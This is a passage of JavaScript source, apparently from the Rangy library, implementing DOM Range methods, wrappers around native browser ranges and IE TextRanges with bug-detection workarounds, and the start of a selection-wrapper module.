offset);\n                },\n\n                setStartBefore: createBeforeAfterNodeSetter(true, true),\n                setStartAfter: createBeforeAfterNodeSetter(false, true),\n                setEndBefore: createBeforeAfterNodeSetter(true, false),\n                setEndAfter: createBeforeAfterNodeSetter(false, false),\n\n                collapse: function(isStart) {\n                    assertRangeValid(this);\n                    if (isStart) {\n                        boundaryUpdater(this, this.startContainer, this.startOffset, this.startContainer, this.startOffset);\n                    } else {\n                        boundaryUpdater(this, this.endContainer, this.endOffset, this.endContainer, this.endOffset);\n                    }\n                },\n\n                selectNodeContents: function(node) {\n                    assertNoDocTypeNotationEntityAncestor(node, true);\n\n                    boundaryUpdater(this, node, 0, node, getNodeLength(node));\n                },\n\n                selectNode: function(node) {\n                    assertNoDocTypeNotationEntityAncestor(node, false);\n                    assertValidNodeType(node, beforeAfterNodeTypes);\n\n                    var start = getBoundaryBeforeNode(node), end = getBoundaryAfterNode(node);\n                    boundaryUpdater(this, start.node, start.offset, end.node, end.offset);\n                },\n\n                extractContents: createRangeContentRemover(extractSubtree, boundaryUpdater),\n\n                deleteContents: createRangeContentRemover(deleteSubtree, boundaryUpdater),\n\n                canSurroundContents: function() {\n                    assertRangeValid(this);\n                    assertNodeNotReadOnly(this.startContainer);\n                    assertNodeNotReadOnly(this.endContainer);\n\n                    // Check if the contents can be surrounded. Specifically, this means whether the range partially selects\n                    // no non-text nodes.\n                    var iterator = new RangeIterator(this, true);\n                    var boundariesInvalid = (iterator._first && isNonTextPartiallySelected(iterator._first, this) ||\n                            (iterator._last && isNonTextPartiallySelected(iterator._last, this)));\n                    iterator.detach();\n                    return !boundariesInvalid;\n                },\n\n                splitBoundaries: function() {\n                    splitRangeBoundaries(this);\n                },\n\n                splitBoundariesPreservingPositions: function(positionsToPreserve) {\n                    splitRangeBoundaries(this, positionsToPreserve);\n                },\n\n                normalizeBoundaries: function() {\n                    assertRangeValid(this);\n\n                    var sc = this.startContainer, so = this.startOffset, ec = this.endContainer, eo = this.endOffset;\n\n                    var mergeForward = function(node) {\n                        var sibling = node.nextSibling;\n                        if (sibling && sibling.nodeType == node.nodeType) {\n                            ec = node;\n                            eo = node.length;\n                            node.appendData(sibling.data);\n                            sibling.parentNode.removeChild(sibling);\n                        }\n                    };\n\n                    var mergeBackward = function(node) {\n                        var sibling = node.previousSibling;\n                        if (sibling && sibling.nodeType == node.nodeType) {\n                            sc = node;\n                            var nodeLength = node.length;\n                            so = sibling.length;\n                            node.insertData(0, sibling.data);\n                            sibling.parentNode.removeChild(sibling);\n                            if (sc == ec) {\n                                eo += so;\n                                ec = sc;\n                            } else if (ec == node.parentNode) {\n                                var nodeIndex = getNodeIndex(node);\n                                if (eo == nodeIndex) {\n                                    ec = node;\n                                    eo = nodeLength;\n                                } else if (eo > nodeIndex) {\n                                    eo--;\n                                }\n                            }\n                        }\n                    };\n\n                    var normalizeStart = true;\n\n                    if (isCharacterDataNode(ec)) {\n                        if (ec.length == eo) {\n                            mergeForward(ec);\n                        }\n                    } else {\n                        if (eo > 0) {\n                            var endNode = ec.childNodes[eo - 1];\n                            if (endNode && isCharacterDataNode(endNode)) {\n                                mergeForward(endNode);\n                            }\n                        }\n                        normalizeStart = !this.collapsed;\n                    }\n\n                    if (normalizeStart) {\n                        if (isCharacterDataNode(sc)) {\n                            if (so == 0) {\n                                mergeBackward(sc);\n                            }\n                        } else {\n                            if (so < sc.childNodes.length) {\n                                var startNode = sc.childNodes[so];\n                                if (startNode && isCharacterDataNode(startNode)) {\n                                    mergeBackward(startNode);\n                                }\n                            }\n                        }\n                    } else {\n                        sc = ec;\n                        so = eo;\n                    }\n\n                    boundaryUpdater(this, sc, so, ec, eo);\n                },\n\n                collapseToPoint: function(node, offset) {\n                    assertNoDocTypeNotationEntityAncestor(node, true);\n                    assertValidOffset(node, offset);\n                    this.setStartAndEnd(node, offset);\n                }\n            });\n\n            copyComparisonConstants(constructor);\n        }\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        // Updates commonAncestorContainer and collapsed after boundary change\n        function updateCollapsedAndCommonAncestor(range) {\n            range.collapsed = (range.startContainer === range.endContainer && range.startOffset === range.endOffset);\n            range.commonAncestorContainer = range.collapsed ?\n                range.startContainer : dom.getCommonAncestor(range.startContainer, range.endContainer);\n        }\n\n        function updateBoundaries(range, startContainer, startOffset, endContainer, endOffset) {\n            range.startContainer = startContainer;\n            range.startOffset = startOffset;\n            range.endContainer = endContainer;\n            range.endOffset = endOffset;\n            range.document = dom.getDocument(startContainer);\n\n            updateCollapsedAndCommonAncestor(range);\n        }\n\n        function Range(doc) {\n            this.startContainer = doc;\n            this.startOffset = 0;\n            this.endContainer = doc;\n            this.endOffset = 0;\n            this.document = doc;\n            updateCollapsedAndCommonAncestor(this);\n        }\n\n        createPrototypeRange(Range, updateBoundaries);\n\n        util.extend(Range, {\n            rangeProperties: rangeProperties,\n            RangeIterator: RangeIterator,\n            copyComparisonConstants: copyComparisonConstants,\n            createPrototypeRange: createPrototypeRange,\n            inspect: inspect,\n            toHtml: rangeToHtml,\n            getRangeDocument: getRangeDocument,\n            rangesEqual: function(r1, r2) {\n                return r1.startContainer === r2.startContainer &&\n                    r1.startOffset === r2.startOffset &&\n                    r1.endContainer === r2.endContainer &&\n                    r1.endOffset === r2.endOffset;\n            }\n        });\n\n        api.DomRange = Range;\n    });\n\n    /*----------------------------------------------------------------------------------------------------------------*/\n\n    // Wrappers for the browser's native DOM Range and/or TextRange implementation \n    api.createCoreModule(\"WrappedRange\", [\"DomRange\"], function(api, module) {\n        var WrappedRange, WrappedTextRange;\n        var dom = api.dom;\n        var util = api.util;\n        var DomPosition = dom.DomPosition;\n        var DomRange = api.DomRange;\n        var getBody = dom.getBody;\n        var getContentDocument = dom.getContentDocument;\n        var isCharacterDataNode = dom.isCharacterDataNode;\n\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        if (api.features.implementsDomRange) {\n            // This is a wrapper around the browser's native DOM Range. It has two aims:\n            // - Provide workarounds for specific browser bugs\n            // - provide convenient extensions, which are inherited from Rangy's DomRange\n\n            (function() {\n                var rangeProto;\n                var rangeProperties = DomRange.rangeProperties;\n\n                function updateRangeProperties(range) {\n                    var i = rangeProperties.length, prop;\n                    while (i--) {\n                        prop = rangeProperties[i];\n                        range[prop] = range.nativeRange[prop];\n                    }\n                    // Fix for broken collapsed property in IE 9.\n                    range.collapsed = (range.startContainer === range.endContainer && range.startOffset === range.endOffset);\n                }\n\n                function updateNativeRange(range, startContainer, startOffset, endContainer, endOffset) {\n                    var startMoved = (range.startContainer !== startContainer || range.startOffset != startOffset);\n                    var endMoved = (range.endContainer !== endContainer || range.endOffset != endOffset);\n                    var nativeRangeDifferent = !range.equals(range.nativeRange);\n\n                    // Always set both boundaries for the benefit of IE9 (see issue 35)\n                    if (startMoved || endMoved || nativeRangeDifferent) {\n                        range.setEnd(endContainer, endOffset);\n                        range.setStart(startContainer, startOffset);\n                    }\n                }\n\n                var createBeforeAfterNodeSetter;\n\n                WrappedRange = function(range) {\n                    if (!range) {\n                        throw module.createError(\"WrappedRange: Range must be specified\");\n                    }\n                    this.nativeRange = range;\n                    updateRangeProperties(this);\n                };\n\n                DomRange.createPrototypeRange(WrappedRange, updateNativeRange);\n\n                rangeProto = WrappedRange.prototype;\n\n                rangeProto.selectNode = function(node) {\n                    this.nativeRange.selectNode(node);\n                    updateRangeProperties(this);\n                };\n\n                rangeProto.cloneContents = function() {\n                    return this.nativeRange.cloneContents();\n                };\n\n                // Due to a long-standing Firefox bug that I have not been able to find a reliable way to detect,\n                // insertNode() is never delegated to the native range.\n\n                rangeProto.surroundContents = function(node) {\n                    this.nativeRange.surroundContents(node);\n                    updateRangeProperties(this);\n                };\n\n                rangeProto.collapse = function(isStart) {\n                    this.nativeRange.collapse(isStart);\n                    updateRangeProperties(this);\n                };\n\n                rangeProto.cloneRange = function() {\n                    return new WrappedRange(this.nativeRange.cloneRange());\n                };\n\n                rangeProto.refresh = function() {\n                    updateRangeProperties(this);\n                };\n\n                rangeProto.toString = function() {\n                    return this.nativeRange.toString();\n                };\n\n                // Create test range and node for feature detection\n\n                var testTextNode = document.createTextNode(\"test\");\n                getBody(document).appendChild(testTextNode);\n                var range = document.createRange();\n\n                /*--------------------------------------------------------------------------------------------------------*/\n\n                // Test for Firefox 2 bug that prevents moving the start of a Range to a point after its current end and\n                // correct for it\n\n                range.setStart(testTextNode, 0);\n                range.setEnd(testTextNode, 0);\n\n                try {\n                    range.setStart(testTextNode, 1);\n\n                    rangeProto.setStart = function(node, offset) {\n                        this.nativeRange.setStart(node, offset);\n                        updateRangeProperties(this);\n                    };\n\n                    rangeProto.setEnd = function(node, offset) {\n                        this.nativeRange.setEnd(node, offset);\n                        updateRangeProperties(this);\n                    };\n\n                    createBeforeAfterNodeSetter = function(name) {\n                        return function(node) {\n                            this.nativeRange[name](node);\n                            updateRangeProperties(this);\n                        };\n                    };\n\n                } catch(ex) {\n\n                    rangeProto.setStart = function(node, offset) {\n                        try {\n                            this.nativeRange.setStart(node, offset);\n                        } catch (ex) {\n                            this.nativeRange.setEnd(node, offset);\n                            this.nativeRange.setStart(node, offset);\n                        }\n                        updateRangeProperties(this);\n                    };\n\n                    rangeProto.setEnd = function(node, offset) {\n                        try {\n                            this.nativeRange.setEnd(node, offset);\n                        } catch (ex) {\n                            this.nativeRange.setStart(node, offset);\n                            this.nativeRange.setEnd(node, offset);\n                        }\n                        updateRangeProperties(this);\n                    };\n\n                    createBeforeAfterNodeSetter = function(name, oppositeName) {\n                        return function(node) {\n                            try {\n                                this.nativeRange[name](node);\n                            } catch (ex) {\n                                this.nativeRange[oppositeName](node);\n                                this.nativeRange[name](node);\n                            }\n                            updateRangeProperties(this);\n                        };\n                    };\n                }\n\n                rangeProto.setStartBefore = createBeforeAfterNodeSetter(\"setStartBefore\", \"setEndBefore\");\n                rangeProto.setStartAfter = createBeforeAfterNodeSetter(\"setStartAfter\", \"setEndAfter\");\n                rangeProto.setEndBefore = createBeforeAfterNodeSetter(\"setEndBefore\", \"setStartBefore\");\n                rangeProto.setEndAfter = createBeforeAfterNodeSetter(\"setEndAfter\", \"setStartAfter\");\n\n                /*--------------------------------------------------------------------------------------------------------*/\n\n                // Always use DOM4-compliant selectNodeContents implementation: it's simpler and less code than testing\n                // whether the native implementation can be trusted\n                rangeProto.selectNodeContents = function(node) {\n                    this.setStartAndEnd(node, 0, dom.getNodeLength(node));\n                };\n\n                /*--------------------------------------------------------------------------------------------------------*/\n\n                // Test for and correct WebKit bug that has the behaviour of compareBoundaryPoints round the wrong way for\n                // constants START_TO_END and END_TO_START: https://bugs.webkit.org/show_bug.cgi?id=20738\n\n                range.selectNodeContents(testTextNode);\n                range.setEnd(testTextNode, 3);\n\n                var range2 = document.createRange();\n                range2.selectNodeContents(testTextNode);\n                range2.setEnd(testTextNode, 4);\n                range2.setStart(testTextNode, 2);\n\n                if (range.compareBoundaryPoints(range.START_TO_END, range2) == -1 &&\n                        range.compareBoundaryPoints(range.END_TO_START, range2) == 1) {\n                    // This is the wrong way round, so correct for it\n\n                    rangeProto.compareBoundaryPoints = function(type, range) {\n                        range = range.nativeRange || range;\n                        if (type == range.START_TO_END) {\n                            type = range.END_TO_START;\n                        } else if (type == range.END_TO_START) {\n                            type = range.START_TO_END;\n                        }\n                        return this.nativeRange.compareBoundaryPoints(type, range);\n                    };\n                } else {\n                    rangeProto.compareBoundaryPoints = function(type, range) {\n                        return this.nativeRange.compareBoundaryPoints(type, range.nativeRange || range);\n                    };\n                }\n\n                /*--------------------------------------------------------------------------------------------------------*/\n\n                // Test for IE 9 deleteContents() and extractContents() bug and correct it. See issue 107.\n\n                var el = document.createElement(\"div\");\n                el.innerHTML = \"123\";\n                var textNode = el.firstChild;\n                var body = getBody(document);\n                body.appendChild(el);\n\n                range.setStart(textNode, 1);\n                range.setEnd(textNode, 2);\n                range.deleteContents();\n\n                if (textNode.data == \"13\") {\n                    // Behaviour is correct per DOM4 Range so wrap the browser's implementation of deleteContents() and\n                    // extractContents()\n                    rangeProto.deleteContents = function() {\n                        this.nativeRange.deleteContents();\n                        updateRangeProperties(this);\n                    };\n\n                    rangeProto.extractContents = function() {\n                        var frag = this.nativeRange.extractContents();\n                        updateRangeProperties(this);\n                        return frag;\n                    };\n                } else {\n                }\n\n                body.removeChild(el);\n                body = null;\n\n                /*--------------------------------------------------------------------------------------------------------*/\n\n                // Test for existence of createContextualFragment and delegate to it if it exists\n                if (util.isHostMethod(range, \"createContextualFragment\")) {\n                    rangeProto.createContextualFragment = function(fragmentStr) {\n                        return this.nativeRange.createContextualFragment(fragmentStr);\n                    };\n                }\n\n                /*--------------------------------------------------------------------------------------------------------*/\n\n                // Clean up\n                getBody(document).removeChild(testTextNode);\n\n                rangeProto.getName = function() {\n                    return \"WrappedRange\";\n                };\n\n                api.WrappedRange = WrappedRange;\n\n                api.createNativeRange = function(doc) {\n                    doc = getContentDocument(doc, module, \"createNativeRange\");\n                    return doc.createRange();\n                };\n            })();\n        }\n        \n        if (api.features.implementsTextRange) {\n            /*\n            This is a workaround for a bug where IE returns the wrong container element from the TextRange's parentElement()\n            method. For example, in the following (where pipes denote the selection boundaries):\n\n            <ul id=\"ul\"><li id=\"a\">| a </li><li id=\"b\"> b |</li></ul>\n\n            var range = document.selection.createRange();\n            alert(range.parentElement().id); // Should alert \"ul\" but alerts \"b\"\n\n            This method returns the common ancestor node of the following:\n            - the parentElement() of the textRange\n            - the parentElement() of the textRange after calling collapse(true)\n            - the parentElement() of the textRange after calling collapse(false)\n            */\n            var getTextRangeContainerElement = function(textRange) {\n                var parentEl = textRange.parentElement();\n                var range = textRange.duplicate();\n                range.collapse(true);\n                var startEl = range.parentElement();\n                range = textRange.duplicate();\n                range.collapse(false);\n                var endEl = range.parentElement();\n                var startEndContainer = (startEl == endEl) ? startEl : dom.getCommonAncestor(startEl, endEl);\n\n                return startEndContainer == parentEl ? startEndContainer : dom.getCommonAncestor(parentEl, startEndContainer);\n            };\n\n            var textRangeIsCollapsed = function(textRange) {\n                return textRange.compareEndPoints(\"StartToEnd\", textRange) == 0;\n            };\n\n            // Gets the boundary of a TextRange expressed as a node and an offset within that node. This function started\n            // out as an improved version of code found in Tim Cameron Ryan's IERange (http://code.google.com/p/ierange/)\n            // but has grown, fixing problems with line breaks in preformatted text, adding workaround for IE TextRange\n            // bugs, handling for inputs and images, plus optimizations.\n            var getTextRangeBoundaryPosition = function(textRange, wholeRangeContainerElement, isStart, isCollapsed, startInfo) {\n                var workingRange = textRange.duplicate();\n                workingRange.collapse(isStart);\n                var containerElement = workingRange.parentElement();\n\n                // Sometimes collapsing a TextRange that's at the start of a text node can move it into the previous node, so\n                // check for that\n                if (!dom.isOrIsAncestorOf(wholeRangeContainerElement, containerElement)) {\n                    containerElement = wholeRangeContainerElement;\n                }\n\n\n                // Deal with nodes that cannot \"contain rich HTML markup\". In practice, this means form inputs, images and\n                // similar. See http://msdn.microsoft.com/en-us/library/aa703950%28VS.85%29.aspx\n                if (!containerElement.canHaveHTML) {\n                    var pos = new DomPosition(containerElement.parentNode, dom.getNodeIndex(containerElement));\n                    return {\n                        boundaryPosition: pos,\n                        nodeInfo: {\n                            nodeIndex: pos.offset,\n                            containerElement: pos.node\n                        }\n                    };\n                }\n\n                var workingNode = dom.getDocument(containerElement).createElement(\"span\");\n\n                // Workaround for HTML5 Shiv's insane violation of document.createElement(). See Rangy issue 104 and HTML5\n                // Shiv issue 64: https://github.com/aFarkas/html5shiv/issues/64\n                if (workingNode.parentNode) {\n                    workingNode.parentNode.removeChild(workingNode);\n                }\n\n                var comparison, workingComparisonType = isStart ? \"StartToStart\" : \"StartToEnd\";\n                var previousNode, nextNode, boundaryPosition, boundaryNode;\n                var start = (startInfo && startInfo.containerElement == containerElement) ? startInfo.nodeIndex : 0;\n                var childNodeCount = containerElement.childNodes.length;\n                var end = childNodeCount;\n\n                // Check end first. Code within the loop assumes that the endth child node of the container is definitely\n                // after the range boundary.\n                var nodeIndex = end;\n\n                while (true) {\n                    if (nodeIndex == childNodeCount) {\n                        containerElement.appendChild(workingNode);\n                    } else {\n                        containerElement.insertBefore(workingNode, containerElement.childNodes[nodeIndex]);\n                    }\n                    workingRange.moveToElementText(workingNode);\n                    comparison = workingRange.compareEndPoints(workingComparisonType, textRange);\n                    if (comparison == 0 || start == end) {\n                        break;\n                    } else if (comparison == -1) {\n                        if (end == start + 1) {\n                            // We know the endth child node is after the range boundary, so we must be done.\n                            break;\n                        } else {\n                            start = nodeIndex;\n                        }\n                    } else {\n                        end = (end == start + 1) ? start : nodeIndex;\n                    }\n                    nodeIndex = Math.floor((start + end) / 2);\n                    containerElement.removeChild(workingNode);\n                }\n\n\n                // We've now reached or gone past the boundary of the text range we're interested in\n                // so have identified the node we want\n                boundaryNode = workingNode.nextSibling;\n\n                if (comparison == -1 && boundaryNode && isCharacterDataNode(boundaryNode)) {\n                    // This is a character data node (text, comment, cdata). The working range is collapsed at the start of\n                    // the node containing the text range's boundary, so we move the end of the working range to the\n                    // boundary point and measure the length of its text to get the boundary's offset within the node.\n                    workingRange.setEndPoint(isStart ? \"EndToStart\" : \"EndToEnd\", textRange);\n\n                    var offset;\n\n                    if (/[\\r\\n]/.test(boundaryNode.data)) {\n                        /*\n                        For the particular case of a boundary within a text node containing rendered line breaks (within a\n                        <pre> element, for example), we need a slightly complicated approach to get the boundary's offset in\n                        IE. The facts:\n                        \n                        - Each line break is represented as \\r in the text node's data/nodeValue properties\n                        - Each line break is represented as \\r\\n in the TextRange's 'text' property\n                        - The 'text' property of the TextRange does not contain trailing line breaks\n                        \n                        To get round the problem presented by the final fact above, we can use the fact that TextRange's\n                        moveStart() and moveEnd() methods return the actual number of characters moved, which is not\n                        necessarily the same as the number of characters it was instructed to move. The simplest approach is\n                        to use this to store the characters moved when moving both the start and end of the range to the\n                        start of the document body and subtracting the start offset from the end offset (the\n                        \"move-negative-gazillion\" method). However, this is extremely slow when the document is large and\n                        the range is near the end of it. Clearly doing the mirror image (i.e. moving the range boundaries to\n                        the end of the document) has the same problem.\n                        \n                        Another approach that works is to use moveStart() to move the start boundary of the range up to the\n                        end boundary one character at a time and incrementing a counter with the value returned by the\n                        moveStart() call. However, the check for whether the start boundary has reached the end boundary is\n                        expensive, so this method is slow (although unlike \"move-negative-gazillion\" is largely unaffected\n                        by the location of the range within the document).\n                        \n                        The approach used below is a hybrid of the two methods above. It uses the fact that a string\n                        containing the TextRange's 'text' property with each \\r\\n converted to a single \\r character cannot\n                        be longer than the text of the TextRange, so the start of the range is moved that length initially\n                        and then a character at a time to make up for any trailing line breaks not contained in the 'text'\n                        property. This has good performance in most situations compared to the previous two methods.\n                        */\n                        var tempRange = workingRange.duplicate();\n                        var rangeLength = tempRange.text.replace(/\\r\\n/g, \"\\r\").length;\n\n                        offset = tempRange.moveStart(\"character\", rangeLength);\n                        while ( (comparison = tempRange.compareEndPoints(\"StartToEnd\", tempRange)) == -1) {\n                            offset++;\n                            tempRange.moveStart(\"character\", 1);\n                        }\n                    } else {\n                        offset = workingRange.text.length;\n                    }\n                    boundaryPosition = new DomPosition(boundaryNode, offset);\n                } else {\n\n                    // If the boundary immediately follows a character data node and this is the end boundary, we should favour\n                    // a position within that, and likewise for a start boundary preceding a character data node\n                    previousNode = (isCollapsed || !isStart) && workingNode.previousSibling;\n                    nextNode = (isCollapsed || isStart) && workingNode.nextSibling;\n                    if (nextNode && isCharacterDataNode(nextNode)) {\n                        boundaryPosition = new DomPosition(nextNode, 0);\n                    } else if (previousNode && isCharacterDataNode(previousNode)) {\n                        boundaryPosition = new DomPosition(previousNode, previousNode.data.length);\n                    } else {\n                        boundaryPosition = new DomPosition(containerElement, dom.getNodeIndex(workingNode));\n                    }\n                }\n\n                // Clean up\n                workingNode.parentNode.removeChild(workingNode);\n\n                return {\n                    boundaryPosition: boundaryPosition,\n                    nodeInfo: {\n                        nodeIndex: nodeIndex,\n                        containerElement: containerElement\n                    }\n                };\n            };\n\n            // Returns a TextRange representing the boundary of a TextRange expressed as a node and an offset within that\n            // node. This function started out as an optimized version of code found in Tim Cameron Ryan's IERange\n            // (http://code.google.com/p/ierange/)\n            var createBoundaryTextRange = function(boundaryPosition, isStart) {\n                var boundaryNode, boundaryParent, boundaryOffset = boundaryPosition.offset;\n                var doc = dom.getDocument(boundaryPosition.node);\n                var workingNode, childNodes, workingRange = getBody(doc).createTextRange();\n                var nodeIsDataNode = isCharacterDataNode(boundaryPosition.node);\n\n                if (nodeIsDataNode) {\n                    boundaryNode = boundaryPosition.node;\n                    boundaryParent = boundaryNode.parentNode;\n                } else {\n                    childNodes = boundaryPosition.node.childNodes;\n                    boundaryNode = (boundaryOffset < childNodes.length) ? childNodes[boundaryOffset] : null;\n                    boundaryParent = boundaryPosition.node;\n                }\n\n                // Position the range immediately before the node containing the boundary\n                workingNode = doc.createElement(\"span\");\n\n                // Making the working element non-empty element persuades IE to consider the TextRange boundary to be within\n                // the element rather than immediately before or after it\n                workingNode.innerHTML = \"&#feff;\";\n\n                // insertBefore is supposed to work like appendChild if the second parameter is null. However, a bug report\n                // for IERange suggests that it can crash the browser: http://code.google.com/p/ierange/issues/detail?id=12\n                if (boundaryNode) {\n                    boundaryParent.insertBefore(workingNode, boundaryNode);\n                } else {\n                    boundaryParent.appendChild(workingNode);\n                }\n\n                workingRange.moveToElementText(workingNode);\n                workingRange.collapse(!isStart);\n\n                // Clean up\n                boundaryParent.removeChild(workingNode);\n\n                // Move the working range to the text offset, if required\n                if (nodeIsDataNode) {\n                    workingRange[isStart ? \"moveStart\" : \"moveEnd\"](\"character\", boundaryOffset);\n                }\n\n                return workingRange;\n            };\n\n            /*------------------------------------------------------------------------------------------------------------*/\n\n            // This is a wrapper around a TextRange, providing full DOM Range functionality using rangy's DomRange as a\n            // prototype\n\n            WrappedTextRange = function(textRange) {\n                this.textRange = textRange;\n                this.refresh();\n            };\n\n            WrappedTextRange.prototype = new DomRange(document);\n\n            WrappedTextRange.prototype.refresh = function() {\n                var start, end, startBoundary;\n\n                // TextRange's parentElement() method cannot be trusted. getTextRangeContainerElement() works around that.\n                var rangeContainerElement = getTextRangeContainerElement(this.textRange);\n\n                if (textRangeIsCollapsed(this.textRange)) {\n                    end = start = getTextRangeBoundaryPosition(this.textRange, rangeContainerElement, true,\n                        true).boundaryPosition;\n                } else {\n                    startBoundary = getTextRangeBoundaryPosition(this.textRange, rangeContainerElement, true, false);\n                    start = startBoundary.boundaryPosition;\n\n                    // An optimization used here is that if the start and end boundaries have the same parent element, the\n                    // search scope for the end boundary can be limited to exclude the portion of the element that precedes\n                    // the start boundary\n                    end = getTextRangeBoundaryPosition(this.textRange, rangeContainerElement, false, false,\n                        startBoundary.nodeInfo).boundaryPosition;\n                }\n\n                this.setStart(start.node, start.offset);\n                this.setEnd(end.node, end.offset);\n            };\n\n            WrappedTextRange.prototype.getName = function() {\n                return \"WrappedTextRange\";\n            };\n\n            DomRange.copyComparisonConstants(WrappedTextRange);\n\n            var rangeToTextRange = function(range) {\n                if (range.collapsed) {\n                    return createBoundaryTextRange(new DomPosition(range.startContainer, range.startOffset), true);\n                } else {\n                    var startRange = createBoundaryTextRange(new DomPosition(range.startContainer, range.startOffset), true);\n                    var endRange = createBoundaryTextRange(new DomPosition(range.endContainer, range.endOffset), false);\n                    var textRange = getBody( DomRange.getRangeDocument(range) ).createTextRange();\n                    textRange.setEndPoint(\"StartToStart\", startRange);\n                    textRange.setEndPoint(\"EndToEnd\", endRange);\n                    return textRange;\n                }\n            };\n\n            WrappedTextRange.rangeToTextRange = rangeToTextRange;\n\n            WrappedTextRange.prototype.toTextRange = function() {\n                return rangeToTextRange(this);\n            };\n\n            api.WrappedTextRange = WrappedTextRange;\n\n            // IE 9 and above have both implementations and Rangy makes both available. The next few lines sets which\n            // implementation to use by default.\n            if (!api.features.implementsDomRange || api.config.preferTextRange) {\n                // Add WrappedTextRange as the Range property of the global object to allow expression like Range.END_TO_END to work\n                var globalObj = (function() { return this; })();\n                if (typeof globalObj.Range == \"undefined\") {\n                    globalObj.Range = WrappedTextRange;\n                }\n\n                api.createNativeRange = function(doc) {\n                    doc = getContentDocument(doc, module, \"createNativeRange\");\n                    return getBody(doc).createTextRange();\n                };\n\n                api.WrappedRange = WrappedTextRange;\n            }\n        }\n\n        api.createRange = function(doc) {\n            doc = getContentDocument(doc, module, \"createRange\");\n            return new api.WrappedRange(api.createNativeRange(doc));\n        };\n\n        api.createRangyRange = function(doc) {\n            doc = getContentDocument(doc, module, \"createRangyRange\");\n            return new DomRange(doc);\n        };\n\n        api.createIframeRange = function(iframeEl) {\n            module.deprecationNotice(\"createIframeRange()\", \"createRange(iframeEl)\");\n            return api.createRange(iframeEl);\n        };\n\n        api.createIframeRangyRange = function(iframeEl) {\n            module.deprecationNotice(\"createIframeRangyRange()\", \"createRangyRange(iframeEl)\");\n            return api.createRangyRange(iframeEl);\n        };\n\n        api.addShimListener(function(win) {\n            var doc = win.document;\n            if (typeof doc.createRange == \"undefined\") {\n                doc.createRange = function() {\n                    return api.createRange(doc);\n                };\n            }\n            doc = win = null;\n        });\n    });\n\n    /*----------------------------------------------------------------------------------------------------------------*/\n\n    // This module creates a selection object wrapper that conforms as closely as possible to the Selection specification\n    // in the HTML Editing spec (http://dvcs.w3.org/hg/editing/raw-file/tip/editing.html#selections)\n    api.createCoreModule(\"WrappedSelection\", [\"DomRange\", \"WrappedRange\"], function(api, module) {\n        api.config.checkSelectionRanges = true;\n\n        var BOOLEAN = \"boolean\";\n        var NUMBER = \"number\";\n        var dom = api.dom;\n        var util = api.util;\n        var isHostMethod = util.isHostMethod;\n        var DomRange = api.DomRange;\n        var WrappedRange = api.WrappedRange;\n        var DOMException = api.DOMException;\n        var DomPosition = dom.DomPosition;\n        var getNativeSelection;\n        var selectionIsCollapsed;\n        var features = api.features;\n        var CONTROL = \"Control\";\n        var getDocument = dom.getDocument;\n        var getBody = dom.getBody;\n        var rangesEqual = DomRange.rangesEqual;\n\n\n        // Utility function to support direction parameters in the API that may be a string (\"backward\" or \"forward\") or a\n        // Boolean (true for backwards).\n        function isDirectionBackward(dir) {\n            return (typeof dir == \"string\") ? /^backward(s)?$/i.test(dir) : !!dir;\n        }\n\n        function getWindow(win, methodName) {\n            if (!win) {\n                return window;\n            } else if (dom.isWindow(win)) {\n                return win;\n            } else if (win instanceof WrappedSelection) {\n                return win.win;\n            } else {\n                var doc = dom.getContentDocument(win, module, methodName);\n                return dom.getWindow(doc);\n            }\n        }\n\n        function getWinSelection(winParam) {\n            return getWindow(winParam, \"getWinSelection\").getSelection();\n        }\n\n        function getDocSelection(winParam) {\n            return getWindow(winParam, \"getDocSelection\").document.selection;\n        }\n        \n        function winSelectionIsBackward(sel) {\n            var backward = false;\n            if (sel.anchorNode) {\n                backward = (dom.comparePoints(sel.anchorNode, sel.anchorOffset, sel.focusNode, sel.focusOffset) == 1);\n            }\n            return backward;\n        }\n\n        // Test for the Range/TextRange and Selection features required\n        // Test for ability to retrieve selection\n        var implementsWinGetSelection = isHostMethod(window, \"getSelection\"),\n            implementsDocSelection = util.isHostObject(document, \"selection\");\n\n        features.implementsWinGetSelection = implementsWinGetSelection;\n        features.implementsDocSelection = implementsDocSelection;\n\n        var useDocumentSelection = implementsDocSelection && (!implementsWinGetSelection || api.config.preferTextRange);\n\n        if (useDocumentSelection) {\n            getNativeSelection = getDocSelection;\n            api.isSelectionValid = function(winParam) {\n                var doc = getWindow(winParam, \"isSelectionValid\").document, nativeSel = doc.selection;\n\n                // Check whether the selection TextRange is actually contained within the correct document\n                return (nativeSel.type != \"None\" || getDocument(nativeSel.createRange().parentElement()) == doc);\n            };\n        } else if (implementsWinGetSelection) {\n            getNativeSelection = getWinSelection;\n            api.isSelectionValid = function() {\n                return true;\n            };\n        } else {\n            module.fail(\"Neither document.selection or window.getSelection() detected.\");\n        }\n\n        api.getNativeSelection = getNativeSelection;\n\n        var testSelection = getNativeSelection();\n        var testRange = api.createNativeRange(document);\n        var body = getBody(document);\n\n        // Obtaining a range from a selection\n        var selectionHasAnchorAndFocus = util.areHostProperties(testSelection,\n            [\"anchorNode\", \"focusNode\", \"anchorOffset\", \"focusOffset\"]);\n\n        features.selectionHasAnchorAndFocus = selectionHasAnchorAndFocus;\n\n        // Test for existence of native selection extend() method\n        var selectionHasExtend = isHostMethod(testSelection, \"extend\");\n        features.selectionHasExtend = selectionHasExtend;\n        \n        // Test if rangeCount exists\n        var selectionHasRangeCount = (typeof testSelection.rangeCount == NUMBER);\n        features.selectionHasRangeCount = selectionHasRangeCount;\n\n        var selectionSupportsMultipleRanges = false;\n        var collapsedNonEditableSelectionsSupported = true;\n\n        var addRangeBackwardToNative = selectionHasExtend ?\n            function(nativeSelection, range) {\n                var doc = DomRange.getRangeDocument(range);\n                var endRange = api.createRange(doc);\n                endRange.collapseToPoint(range.endContainer, range.endOffset);\n                nativeSelection.addRange(getNativeRange(endRange));\n                nativeSelection.extend(range.startContainer, range.startOffset);\n            } : null;\n\n        if (util.areHostMethods(testSelection, [\"addRange\", \"getRangeAt\", \"removeAllRanges\"]) &&\n                typeof testSelection.rangeCount == NUMBER && features.implementsDomRange) {\n\n            (function() {\n                // Previously an iframe was used but this caused problems in some circumstances in IE, so tests are\n                // performed on the current document's selection. See issue 109.\n\n                // Note also that if a selection previously existed, it is wiped by these tests. This should usually be fine\n                // because initialization usually happens when the document loads, but could be a problem for a script that\n                // loads and initializes Rangy later. If anyone complains, code could be added to save and restore the\n                // selection.\n                var sel = window.getSelection();\n                if (sel) {\n                    // Store the current selection\n                    var originalSelectionRangeCount = sel.rangeCount;\n                    var selectionHasMultipleRanges = 